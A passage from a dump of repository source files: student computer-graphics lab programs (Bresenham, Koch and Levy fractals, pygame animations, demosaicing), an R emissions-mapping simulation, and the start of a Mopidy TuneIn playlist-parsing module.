gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n // upper borders\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 360;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n\n///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n\n gl.activeTexture(gl.TEXTURE3);\n gl.bindTexture(gl.TEXTURE_2D, texture[3]);\n //design\n\n gl.uniform1i(programInfo.uniformLocations.uSampler, 3);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 264;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n gl.uniform1i(programInfo.uniformLocations.uSampler, 3);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 276;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n gl.uniform1i(programInfo.uniformLocations.uSampler, 3);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 288;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n gl.uniform1i(programInfo.uniformLocations.uSampler, 3);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 300;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n gl.uniform1i(programInfo.uniformLocations.uSampler, 3);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 312;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n gl.uniform1i(programInfo.uniformLocations.uSampler, 3);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 324;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n\n}\n\nfunction initShaderProgram(gl, vsSource, fsSource) {\n const vertexShader = loadShader(gl, gl.VERTEX_SHADER, vsSource);\n const fragmentShader = loadShader(gl, gl.FRAGMENT_SHADER, fsSource);\n\n const shaderProgram = gl.createProgram();\n gl.attachShader(shaderProgram, vertexShader);\n gl.attachShader(shaderProgram, fragmentShader);\n gl.linkProgram(shaderProgram);\n\n if (!gl.getProgramParameter(shaderProgram, gl.LINK_STATUS)) {\n alert('Unable to initialize the shader program: ' + gl.getProgramInfoLog(shaderProgram));\n return null;\n }\n\n return shaderProgram;\n}\n\nfunction loadShader(gl, type, source) {\n const shader = gl.createShader(type);\n\n gl.shaderSource(shader, source);\n\n gl.compileShader(shader);\n\n if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {\n alert('An error occurred compiling the shaders: ' + gl.getShaderInfoLog(shader));\n gl.deleteShader(shader);\n return null;\n }\n\n return shader;\n}\n"
},
{
"alpha_fraction": 0.5920680165290833,
"alphanum_fraction": 0.6303116083145142,
"avg_line_length": 26.153846740722656,
"blob_id": "b3383409c2b928716d9404bbf18e99a68997df1c",
"content_id": "2f4814757d9939d29bd30088da7e147827184153",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 706,
"license_type": "no_license",
"max_line_length": 85,
"num_lines": 26,
"path": "/Lab_3/levy.py",
"repo_name": "manasakandimalla/ICG-Lab",
"src_encoding": "UTF-8",
"text": "import matplotlib.pyplot as plt\nimport math\n\ndef c_curve(x,y,l,d,n):\n\tif(n>0):\n\t\tl = l/1.41421356237\n\t\tc_curve(x,y,l,d+math.pi/4,n-1)\n\t\tx = x + l*(math.cos(d+math.pi/4))\n\t\ty = y + l*(math.sin(d+math.pi/4))\n\t\tc_curve(x,y,l,d-math.pi/4,n-1)\n\telse:\n\t\t#line(x,y,x+l*(math.cos(d)),y+l*(math.sin(d)));\n\t\tx0,y0 = [x,x+l*(math.cos(d))],[y,y+l*(math.sin(d))]\n\t\tplt.plot(x0,y0,marker = 'o')\n\t\t\nprint \"enter starting x and y co-ordinates\"\nx1 = input()\ny1 = input()\nprint \"enter the length and angle of inclination of line with the x-axis(in degrees)\"\nl = input()\nd = input()\nd = math.radians(d)\nprint \"enter the total number of iterations for which the c-curve should run\"\nn = input()\nc_curve(x1,y1,l,d,n)\nplt.show()\n"
},
{
"alpha_fraction": 0.5679287314414978,
"alphanum_fraction": 0.6213808655738831,
"avg_line_length": 19.363636016845703,
"blob_id": "0f7aa20e853856e97f188d2f602f2e25e0496087",
"content_id": "1f375dcc2a2f1e0ef58bf6c8fbfc350c96d5b924",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 449,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 22,
"path": "/Lab_5/rotation.py",
"repo_name": "manasakandimalla/ICG-Lab",
"src_encoding": "UTF-8",
"text": "import matplotlib.pyplot as plt\nimport math\n\n\ndef rotate(x,y,a):\n\tx0,y0 = [0,x],[0,y]\n\tp = x*math.cos(a) - y*math.sin(a)\n\tq = x*math.sin(a) + y*math.cos(a)\n\tx1,y1 = [0,p],[0,q]\n\tplt.plot(x0,y0,marker = 'o')\n\tplt.plot(x1,y1,marker='o')\n\nprint \"enter the co-ordinates of point :\"\nx0 = input()\ny0 = input()\nprint \"enter the angle by which line has to be rotated :\"\na = input()\na = math.radians(a)\n\nrotate(x0,y0,a)\nplt.axis([-10,10,-10,10])\nplt.show()\n\n"
},
{
"alpha_fraction": 0.3958212435245514,
"alphanum_fraction": 0.4196169376373291,
"avg_line_length": 21.389610290527344,
"blob_id": "4119e9235f21164ba7283347f250055de3eac9d0",
"content_id": "e34b2de3932747cbcded4df7edad57cf71dcfd88",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1723,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 77,
"path": "/Lab_1/Bresenham.java",
"repo_name": "manasakandimalla/ICG-Lab",
"src_encoding": "UTF-8",
"text": "import java.util.Scanner;\nimport java.lang.*;\n\n\npublic class Bresenham \n{\n public static int swap(int x,int y)\n {\n return(x);\n }\n\n static void bresenham(int x0, int y0,int x1,int y1)\n { \n int temp; \n if(x1 < x0)\n {\n //swap point one and two\n x0 = swap(x1,x1 = x0);\n y0 = swap(y1,y1 = y0);\n }\n int yd = y1 - y0,xd= x1 - x0;\n int dy = Math.abs(yd), dx = Math.abs(xd);\n if(dy > dx)\n {\n //swap x,y and dx,dy\n x0 = swap(y0,y0 = x0);\n x1 = swap(y1,y1 = x1);\n dx = swap(dy,dy = dx);\n }\n\n int error = 0;\n \n for(int x=x0, y=y0;x<=x1;x++)\n {\n if(Math.abs(yd) > Math.abs(xd))\n System.out.print(\"(\" + y+\" \"+x+\")\\n\");\n else System.out.print(\"(\" + x+\" \"+y+\")\\n\");\n\n if( 2*(error + dy) < dx )\n {\n error += dy;\n }\n\n else\n {\n if(y1 > y0)\n y++;\n else y--;\n error += dy - dx;\n }\n }\n }\n\n\n public static void main(String[] args)\n {\n\n Scanner scan = new Scanner(System.in);\n\n System.out.println(\"-----------Bresenham line algoritm-----------\");\n\n System.out.println(\"\\n Enter cordinates for first point :\");\n\n int x0 = scan.nextInt();\n int y0 = scan.nextInt();\n\n System.out.println(\"\\n Enter cordinates for sceond point :\");\n\n int x1 = scan.nextInt();\n int y1 = scan.nextInt();\n\n System.out.println(\"\\n The pixels contributing to the line are :\");\n bresenham(x0,y0,x1,y1);\n\n }\n\n}"
},
{
"alpha_fraction": 0.5863509774208069,
"alphanum_fraction": 0.6587743759155273,
"avg_line_length": 16.047618865966797,
"blob_id": "1b33ae0531864d3ea8cb7895a8cd4367175e3876",
"content_id": "f13b21fdacad211c97e32d36f6375dd538672449",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 718,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 42,
"path": "/test/rain.py",
"repo_name": "manasakandimalla/ICG-Lab",
"src_encoding": "UTF-8",
"text": "import pygame\nimport random\npygame.init()\n\nwhite = (255,255,255)\nblue = (0,0,255)\n(width, height) = (400, 300)\n\nscreen = pygame.display.set_mode((width, height))\npygame.display.set_caption('Rain')\nscreen.fill(white)\n\nDrop = []\n\nfor i in range(100):\n\tx = random.randint(0,400)\n\ty = random.randint(0,300)\n\tDrop.append([x,y])\n\nclock = pygame.time.Clock()\n\nrunning = True\n\nwhile running:\n\tfor event in pygame.event.get():\n\t\tif event.type == pygame.QUIT:\n\t\t\trunning = False\n\n\tfor i in Drop:\n\t\tpygame.draw.circle(screen,white,i,1)\n\t\ti[1] += 1\n\t\tpygame.draw.circle(screen,blue,i,1)\n\n\n\t\tif (i[1] > 300):\n\t\t\ti[1] = random.randint(0,300)\n\t\t\ti[0] = random.randint(0,400)\n\n\tpygame.display.flip()\n\tclock.tick(100)\n\npygame.quit()\n\n\n"
},
{
"alpha_fraction": 0.4942287504673004,
"alphanum_fraction": 0.5183630585670471,
"avg_line_length": 27.878787994384766,
"blob_id": "551d8f23e45a269be1b421552327616e7239d6dd",
"content_id": "5eedd8df7191f2fbfdc530bae804145723228711",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 953,
"license_type": "no_license",
"max_line_length": 77,
"num_lines": 33,
"path": "/Lab_3/koch_snowflake.py",
"repo_name": "manasakandimalla/ICG-Lab",
"src_encoding": "UTF-8",
"text": "import matplotlib.pyplot as plt\nimport math\n\ndef koch_curve(x,y,l,d,n):\n if(n>0):\n l = float(l/3)\n koch_curve(x,y,l,d,n-1)\n x = x + l*(math.cos(d))\n y = y + l*(math.sin(d))\n d = d + math.pi/3\n koch_curve(x,y,l,d,n-1)\n x = x + l*(math.cos(d))\n y = y + l*(math.sin(d))\n d = d - 2*math.pi/3\n koch_curve(x,y,l,d,n-1)\n x = x + l*(math.cos(d))\n y = y + l*(math.sin(d))\n d = d + math.pi/3\n koch_curve(x,y,l,d,n-1)\n else:\n x0,y0 = [x,x+l*(math.cos(d))],[y,y+l*(math.sin(d))]\n #print x0,y0,math.degrees(d),l\n plt.plot(x0,y0,marker = 'o')\n \n\nprint \"enter the length of side of the equilateral triangle\"\nl = input()\nprint \"enter the total number of iterations for which the c-curve should run\"\nn = input()\nkoch_curve(0,0,l,math.pi,n)\nkoch_curve(-l,0,l,math.pi/3,n)\nkoch_curve(-l/2,l*(math.sin(math.pi/3)),l,-math.pi/3,n)\nplt.show()\n"
},
{
"alpha_fraction": 0.614545464515686,
"alphanum_fraction": 0.6581818461418152,
"avg_line_length": 16.125,
"blob_id": "c69df192871539f97fa83ee869e07aff4157b257",
"content_id": "c29b8ec94fdf7cd4f68a12d0c3478ea7a77db7a2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 275,
"license_type": "no_license",
"max_line_length": 41,
"num_lines": 16,
"path": "/Lab_5/reflection.py",
"repo_name": "manasakandimalla/ICG-Lab",
"src_encoding": "UTF-8",
"text": "import matplotlib.pyplot as plt\nimport math\n\n\ndef reflection(x,y):\n\tplt.plot(x,y,marker = 'o')\n\tplt.plot(-x,y,marker='o')\n\tplt.plot(x,-y,marker='o')\n\nprint \"enter the co-ordinates of point :\"\nx0 = input()\ny0 = input()\n\nreflection(x0,y0)\nplt.axis([-10,10,-10,10])\nplt.show()\n\n"
},
{
"alpha_fraction": 0.44491782784461975,
"alphanum_fraction": 0.4987827241420746,
"avg_line_length": 39.58024597167969,
"blob_id": "a18e33fcfe46fa59691528339fd7b2a5af0ccfc7",
"content_id": "f7018abd3882064ba08069fe56bb17319d5bd960",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3286,
"license_type": "no_license",
"max_line_length": 103,
"num_lines": 81,
"path": "/Lab_2/pfilter.py",
"repo_name": "manasakandimalla/ICG-Lab",
"src_encoding": "UTF-8",
"text": "from PIL import Image\nimport random\n\nimg = Image.new( 'RGB', (300,150), \"black\")\npixels = img.load()\n\nr , c = 50 , 100 ;\nrvalue = [[ 0 for x in range(r)] for y in range(c)];\ngvalue = [[ 0 for x in range(r)] for y in range(c)];\nbvalue = [[ 0 for x in range(r)] for y in range(c)];\n\nfor i in range (100):\n\tfor j in range (50):\n\t\tif(i %2 == 0 and j%2 == 0):\n\t\t\trvalue[i][j] = random.randint(0,255)\n\t\t\tgvalue[i][j] = 0\n\t\t\tbvalue[i][j] = 0 \n\t\tif(i %2 == 0 and j%2 == 1):\n\t\t\tgvalue[i][j] = random.randint(0,255)\n\t\t\trvalue[i][j] = 0\n\t\t\tbvalue[i][j] = 0 \n\t\tif(i %2 == 1 and j%2 == 0):\n\t\t\tgvalue[i][j] = random.randint(0,255)\n\t\t\trvalue[i][j] = 0\n\t\t\tbvalue[i][j] = 0 \n\t\tif(i %2 == 1 and j%2 == 1):\n\t\t\tbvalue[i][j] = random.randint(0,255)\n\t\t\trvalue[i][j] = 0\n\t\t\tgvalue[i][j] = 0 \n\nfor i in range(100): \n for j in range(50):\n \tm = 3*i\n \tn = 3*j\n pixels[m,n] = (rvalue[i][j] , gvalue[i][j] , bvalue[i][j] )\n pixels[m,n+1] = (rvalue[i][j] , gvalue[i][j] , bvalue[i][j] )\n pixels[m,n+2] = (rvalue[i][j] , gvalue[i][j] , bvalue[i][j] )\n pixels[m+1,n] = (rvalue[i][j] , gvalue[i][j] , bvalue[i][j] )\n pixels[m+1,n+1] = (rvalue[i][j] , gvalue[i][j] , bvalue[i][j] )\n pixels[m+1,n+2] = (rvalue[i][j] , gvalue[i][j] , bvalue[i][j] )\n pixels[m+2,n] = (rvalue[i][j] , gvalue[i][j] , bvalue[i][j] )\n pixels[m+2,n+1] = (rvalue[i][j] , gvalue[i][j] , bvalue[i][j] )\n pixels[m+2,n+2] = (rvalue[i][j] , gvalue[i][j] , bvalue[i][j] )\n #print \"red -> \"; print rvalue[i][j]\n #print \"green -> \";print gvalue[i][j]\n #print \"blue -> \";print bvalue[i][j]\n\nimg.show()\n\nfor i in range (1,99):\n\tfor j in range (1,49):\n\t\tif(i %2 == 0 and j%2 == 0):\n\t\t\tgvalue[i][j] = (gvalue[i-1][j]+gvalue[i][j-1]+gvalue[i][j+1]+gvalue[i+1][j])/4\n\t\t\tbvalue[i][j] = (bvalue[i-1][j-1]+bvalue[i-1][j+1]+bvalue[i+1][j+1]+bvalue[i+1][j-1])/4;\n\t\tif(i %2 == 0 and j%2 == 1):\n\t\t\tgvalue[i][j] = (gvalue[i-1][j-1]+gvalue[i-1][j+1]+gvalue[i+1][j+1]+gvalue[i+1][j-1]+gvalue[i][j])/5;\n\t\t\trvalue[i][j] = (rvalue[i][j-1]+rvalue[i][j+1])/2;\n\t\t\tbvalue[i][j] = (bvalue[i-1][j]+bvalue[i+1][j])/2;\n\t\tif(i %2 == 1 and j%2 == 0):\n\t\t\tgvalue[i][j] = (gvalue[i-1][j-1]+gvalue[i-1][j+1]+gvalue[i+1][j+1]+gvalue[i+1][j-1]+gvalue[i][j])/5;\n\t\t\trvalue[i][j] = (rvalue[i-1][j]+rvalue[i+1][j])/2;\n\t\t\tbvalue[i][j] = (bvalue[i][j-1]+bvalue[i][j+1])/2 \n\t\tif(i %2 == 1 and j%2 == 1):\n\t\t\trvalue[i][j] = (rvalue[i-1][j-1]+rvalue[i-1][j+1]+rvalue[i+1][j+1]+rvalue[i+1][j-1])/4;\n\t\t\tgvalue[i][j] = (gvalue[i-1][j]+gvalue[i][j-1]+gvalue[i][j+1]+gvalue[i+1][j])/4\n\nfor i in range(100): \n for j in range(50):\n \tm = 3*i\n \tn = 3*j\n pixels[m,n] = (rvalue[i][j] , gvalue[i][j] , bvalue[i][j] )\n pixels[m,n+1] = (rvalue[i][j] , gvalue[i][j] , bvalue[i][j] )\n pixels[m,n+2] = (rvalue[i][j] , gvalue[i][j] , bvalue[i][j] )\n pixels[m+1,n] = (rvalue[i][j] , gvalue[i][j] , bvalue[i][j] )\n pixels[m+1,n+1] = (rvalue[i][j] , gvalue[i][j] , bvalue[i][j] )\n pixels[m+1,n+2] = (rvalue[i][j] , gvalue[i][j] , bvalue[i][j] )\n pixels[m+2,n] = (rvalue[i][j] , gvalue[i][j] , bvalue[i][j] )\n pixels[m+2,n+1] = (rvalue[i][j] , gvalue[i][j] , bvalue[i][j] )\n pixels[m+2,n+2] = (rvalue[i][j] , gvalue[i][j] , bvalue[i][j] )\n\nimg.show()"
},
{
"alpha_fraction": 0.5127900242805481,
"alphanum_fraction": 0.6079714298248291,
"avg_line_length": 25.69841194152832,
"blob_id": "2514229a218a2182d42935f9a49dc9437e2fc99f",
"content_id": "d13c144ebe96c2bea7ea3a7924e2e524e03ae3b4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1681,
"license_type": "no_license",
"max_line_length": 71,
"num_lines": 63,
"path": "/Lab_4/dance_man.py",
"repo_name": "manasakandimalla/ICG-Lab",
"src_encoding": "UTF-8",
"text": "import pygame\nimport math\nfrom pygame.locals import *\nSIZE = 400, 300\npygame.init()\npygame.display.set_caption('Dancing idiot')\nwhite = (255,255,255)\nscreen = pygame.display.set_mode(SIZE)\nFPSCLOCK = pygame.time.Clock()\ndone = False\nscreen.fill((0, 0, 0))\ndegree1= 70\ndegree1 = math.radians(degree1)\n\ndegree2 = 270\ndegree2 = math.radians(degree2)\n\nflag = 0\nflag1 = 0\nwhile not done:\n screen.fill(0)\n for e in pygame.event.get():\n if e.type == QUIT or (e.type == KEYDOWN and e.key == K_ESCAPE):\n done = True\n break\n\n radar1 = (200,120)\n\n len1 = 50\n len2 = 50\n x0 = radar1[0] + math.cos(math.radians(degree1)) * len1\n y0 = radar1[1] + math.sin(math.radians(degree1)) * len1\n x1 = radar1[0] - math.cos(math.radians(degree1)) * len1\n y1 = radar1[1] + math.sin(math.radians(degree1)) * len1\n x2 = radar1[0] + math.sin(math.radians(degree2)) * len2\n y2 = radar1[1] + math.cos(math.radians(degree2)) * len2\n pygame.draw.line(screen, white , radar1, (x1,y1), 2)\n pygame.draw.line(screen, white , radar1, (x0,y0), 2)\n pygame.draw.circle(screen,white,(200,100),15,2)\n pygame.draw.line(screen,white,(200,115),(200,120),2)\n pygame.draw.line(screen,white,radar1,(x2,y2),2)\n pygame.draw.line(screen,white,(x2,y2),(185,220),2)\n pygame.draw.line(screen,white,(x2,y2),(215,220),2)\n \n pygame.display.flip() \n if(degree1 > 70 ): \n \tflag = 1 \n if(degree1 < 40 ):\n \tflag=0\n if(flag==1):\n \tdegree1-=3\n else :\n \tdegree1+=3\n\n if(degree2 > 10 ): \n \tflag1 = 1 \n if(degree2 < 0 ):\n \tflag1=0\n if(flag1==1):\n \tdegree2-=1.5\n else :\n \tdegree2+=1.5\n FPSCLOCK.tick(20)"
}
] | 19 |
tbarchyn/emitter_mapper | https://github.com/tbarchyn/emitter_mapper | 13df1843f7eb31ad3e26c05d4d3ffd114928db79 | 6341a1e11de99b0a25758837956b37d2fc842110 | 4885c0c06cb48dd1a1239cf8cbe9357f114ace7e | refs/heads/master | 2021-01-22T08:18:06.692992 | 2017-02-14T01:01:02 | 2017-02-14T01:01:02 | 81,887,081 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5435077548027039,
"alphanum_fraction": 0.5665491819381714,
"avg_line_length": 35.39603805541992,
"blob_id": "23ebdb8d6a8ee3f3452ea95b1138d062ed92f48c",
"content_id": "0440790e42c9d1981c6cf5adb2c20404b3ec0d26",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "R",
"length_bytes": 3689,
"license_type": "no_license",
"max_line_length": 96,
"num_lines": 101,
"path": "/crosswind_v1.R",
"repo_name": "tbarchyn/emitter_mapper",
"src_encoding": "UTF-8",
"text": "# emitter_mapper\n# Copyright 2017 Thomas E. Barchyn\n# Contact: Thomas E. Barchyn [[email protected]]\n\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n\n# Please familiarize yourself with the license of this tool, available\n# in the distribution with the filename: /docs/license.txt\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n\nlibrary (spatstat)\nlibrary (lattice)\n\n#############################################################\n# parameters\n# model space parameters\ndim_dw <- 200\ndim_cw <- 100\n\n# flux measurement\nsurvey_dist <- 20\nsurvey_locs <- seq (1, dim_dw, survey_dist)\nsurvey_locs <- c(survey_locs, dim_dw)\n\n#############################################################\n# create a fake emissions surface with some random hot spots\nvals <- rnorm (dim_dw * dim_cw, mean = 0.2, sd = 1)\nvals[vals < 0] <- 0\nem <- matrix (vals, nrow = dim_dw, ncol = dim_cw)\nem[20:31, 34:45] <- 1.8\nem[80:83, 60:63] <- 3.0\nem[20:25, 1:3] <- 5.0\nem[100:150, 80:83] <- 1.9\nem <- blur (as.im(em), sigma = 5, bleed = TRUE)\nem <- as.matrix (em)\nlevelplot (em, \n panel = function (...) {\n panel.levelplot (...)\n panel.abline (v = survey_locs, col = 'grey')\n },\n col.regions = colorRampPalette(c('blue', 'white', 'red'))(100),\n main = 'emissions flux'\n )\n\n#############################################################\n# plot accumulation downwind\nemc <- apply (em, cumsum, MARGIN = 2)\nlevelplot (emc, \n panel = function (...) {\n panel.levelplot (...)\n panel.abline (v = survey_locs, col = 'grey')\n },\n col.regions = colorRampPalette(c('purple', 'white', 'green'))(100),\n main = 'column averaged concentrations'\n )\n\n#############################################################\n# extract flux planes and create measured flux planes\nnum_planes <- length (survey_locs)\nreal_flux_planes <- matrix(NA, nrow = num_planes, ncol = dim_cw)\nfor (i in 1:num_planes) {\n real_flux_planes[i, ] <- emc[survey_locs[i], ]\n}\n\n# slightly obsfucate the real flux planes to represent measurement error\nmeas_flux_planes <- real_flux_planes + rnorm (num_planes * length (real_flux_planes[1,]),\n mean = 0, sd = 0.5)\nmeas_flux_planes[meas_flux_planes < 0] <- 0.0\n\n# plot a synthetic crossflux survey\nplot (meas_flux_planes[2, ], col = 'blue', xlab = 'crosswind distance', ylab = 'concentrations')\nlines (real_flux_planes[2, ], col = 'red')\n\n#############################################################\n# reconstruct area emissions\nem_meas <- em * NA\nfor (j in num_planes:2) {\n enhancement <- meas_flux_planes[j, ] - meas_flux_planes[j-1, ]\n for (i in 1:dim_cw) {\n survey_dist <- survey_locs[j] - survey_locs[j-1]\n em_meas[survey_locs[j]:survey_locs[j-1], i] <- enhancement[i] / survey_dist\n }\n}\n\nlevelplot (em_meas, \n panel = function (...) {\n panel.levelplot (...)\n panel.abline (v = survey_locs, col = 'grey')\n },\n col.regions = colorRampPalette(c('blue', 'white', 'red'))(100),\n main = 'reconstructed emissions flux'\n)\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
},
{
"alpha_fraction": 0.6640070676803589,
"alphanum_fraction": 0.6684397459030151,
"avg_line_length": 29.432432174682617,
"blob_id": "0685ceb061da336556431e4cdee4c133fe81f7c9",
"content_id": "e357ce0922097a781ce9fa3e1601c9fa7f33adc2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1128,
"license_type": "no_license",
"max_line_length": 71,
"num_lines": 37,
"path": "/main.py",
"repo_name": "tbarchyn/emitter_mapper",
"src_encoding": "UTF-8",
"text": "# emitter_mapper\n# Copyright 2017 Thomas E. Barchyn\n# Contact: Thomas E. Barchyn [[email protected]]\n\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n\n# Please familiarize yourself with the license of this tool, available\n# in the distribution with the filename: /docs/license.txt\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n\n\nclass main:\n def __init__ (self):\n '''\n main class\n '''\n return\n \n def run (self):\n '''\n method to run the emissions mapping calculations\n '''\n \n return\n \nif __name__ == '__main__':\n main = main ()\n main.run ()\n\n\n"
}
] | 2 |
kingosticks/mopidy-tunein | https://github.com/kingosticks/mopidy-tunein | 5e7cb0eb849d94383db4279c4af640a53c28aa4a | 5644e655c302cd54055c060129673d66fe2f5aaf | af90d67299d4a81927a2ef5a091ad02241c3819f | refs/heads/master | 2021-12-14T11:20:06.359373 | 2021-01-12T00:34:04 | 2021-01-12T00:34:04 | 16,891,105 | 57 | 22 | Apache-2.0 | 2014-02-16T18:30:03 | 2021-09-16T14:10:53 | 2021-01-12T00:34:31 | Python | [
{
"alpha_fraction": 0.5415449142456055,
"alphanum_fraction": 0.5445418357849121,
"avg_line_length": 31.633251190185547,
"blob_id": "3337d3c4c74085c1d7f975d0d7da29401e6625b9",
"content_id": "6887656952345a203af0285f9757e7279041fd09",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 13347,
"license_type": "permissive",
"max_line_length": 78,
"num_lines": 409,
"path": "/mopidy_tunein/tunein.py",
"repo_name": "kingosticks/mopidy-tunein",
"src_encoding": "UTF-8",
"text": "import configparser\nimport io\nimport logging\nimport re\nimport time\nimport xml.etree.ElementTree as elementtree # noqa: N813\nfrom collections import OrderedDict\nfrom contextlib import closing\nfrom urllib.parse import urlparse\n\nimport requests\n\nlogger = logging.getLogger(__name__)\n\n\nclass PlaylistError(Exception):\n pass\n\n\nclass cache: # noqa N801\n # TODO: merge this to util library (copied from mopidy-spotify)\n\n def __init__(self, ctl=0, ttl=3600):\n self.cache = {}\n self.ctl = ctl\n self.ttl = ttl\n self._call_count = 0\n\n def __call__(self, func):\n def _memoized(*args):\n now = time.time()\n try:\n value, last_update = self.cache[args]\n age = now - last_update\n if self._call_count > self.ctl or age > self.ttl:\n self._call_count = 0\n raise AttributeError\n if self.ctl:\n self._call_count += 1\n return value\n\n except (KeyError, AttributeError):\n value = func(*args)\n if value:\n self.cache[args] = (value, now)\n return value\n\n except TypeError:\n return func(*args)\n\n def clear():\n self.cache.clear()\n\n _memoized.clear = clear\n return _memoized\n\n\ndef parse_m3u(data):\n # Copied from mopidy.audio.playlists\n # Mopidy version expects a header but it's not always present\n for line in data.splitlines():\n if not line.strip() or line.startswith(b\"#\"):\n continue\n\n try:\n line = line.decode()\n except UnicodeDecodeError:\n continue\n\n yield line.strip()\n\n\ndef parse_pls(data):\n # Copied from mopidy.audio.playlists\n try:\n cp = configparser.RawConfigParser(strict=False)\n cp.read_string(data.decode())\n except configparser.Error:\n return\n\n for section in cp.sections():\n if section.lower() != \"playlist\":\n continue\n for i in range(cp.getint(section, \"numberofentries\")):\n try:\n # TODO: Remove this horrible hack to avoid adverts\n if cp.has_option(section, f\"length{i + 1}\"):\n if cp.get(section, f\"length{i + 1}\") == \"-1\":\n yield cp.get(section, f\"file{i + 1}\").strip(\"\\\"'\")\n else:\n yield cp.get(section, f\"file{i + 1}\").strip(\"\\\"'\")\n except configparser.NoOptionError:\n return\n\n\ndef fix_asf_uri(uri):\n return re.sub(r\"http://(.+\\?mswmext=\\.asf)\", r\"mms://\\1\", uri, flags=re.I)\n\n\ndef parse_old_asx(data):\n try:\n cp = configparser.RawConfigParser()\n cp.read_string(data.decode())\n except configparser.Error:\n return\n\n for section in cp.sections():\n if section.lower() != \"reference\":\n continue\n for option in cp.options(section):\n if option.lower().startswith(\"ref\"):\n uri = cp.get(section, option).lower()\n yield fix_asf_uri(uri.strip())\n\n\ndef parse_new_asx(data):\n # Copied from mopidy.audio.playlists\n try:\n # Last element will be root.\n for _event, element in elementtree.iterparse(io.BytesIO(data)):\n element.tag = element.tag.lower() # normalize\n except elementtree.ParseError:\n return\n\n for ref in element.findall(\"entry/ref[@href]\"):\n yield fix_asf_uri(ref.get(\"href\", \"\").strip())\n\n for entry in element.findall(\"entry[@href]\"):\n yield fix_asf_uri(entry.get(\"href\", \"\").strip())\n\n\ndef parse_asx(data):\n if b\"asx\" in data[0:50].lower():\n return parse_new_asx(data)\n else:\n return parse_old_asx(data)\n\n\n# This is all broken: mopidy/mopidy#225\n# from gi.repository import TotemPlParser\n# def totem_plparser(uri):\n# results = []\n# def entry_parsed(parser, uri, metadata):\n# results.append(uri)\n\n# parser = TotemPlParser.Parser.new()\n# someid = parser.connect('entry-parsed', entry_parsed)\n# res = parser.parse(uri, False)\n# parser.disconnect(someid)\n# if res != TotemPlParser.ParserResult.SUCCESS:\n# logger.debug('Failed to parse playlist')\n# return results\n\n\ndef find_playlist_parser(extension, content_type):\n extension_map = {\n \".asx\": parse_asx,\n \".wax\": parse_asx,\n \".m3u\": parse_m3u,\n \".pls\": parse_pls,\n }\n content_type_map = {\n \"video/x-ms-asf\": parse_asx,\n \"application/x-mpegurl\": parse_m3u,\n \"audio/x-scpls\": parse_pls,\n }\n\n parser = extension_map.get(extension, None)\n if not parser and content_type:\n # Annoying case where the url gave us no hints so try and work it out\n # from the header's content-type instead.\n # This might turn out to be server-specific...\n parser = content_type_map.get(content_type.lower(), None)\n return parser\n\n\nclass TuneIn:\n \"\"\"Wrapper for the TuneIn API.\"\"\"\n\n ID_PROGRAM = \"program\"\n ID_STATION = \"station\"\n ID_GROUP = \"group\"\n ID_TOPIC = \"topic\"\n ID_CATEGORY = \"category\"\n ID_REGION = \"region\"\n ID_PODCAST = \"podcast_category\"\n ID_AFFILIATE = \"affiliate\"\n ID_STREAM = \"stream\"\n ID_UNKNOWN = \"unknown\"\n\n def __init__(self, timeout, 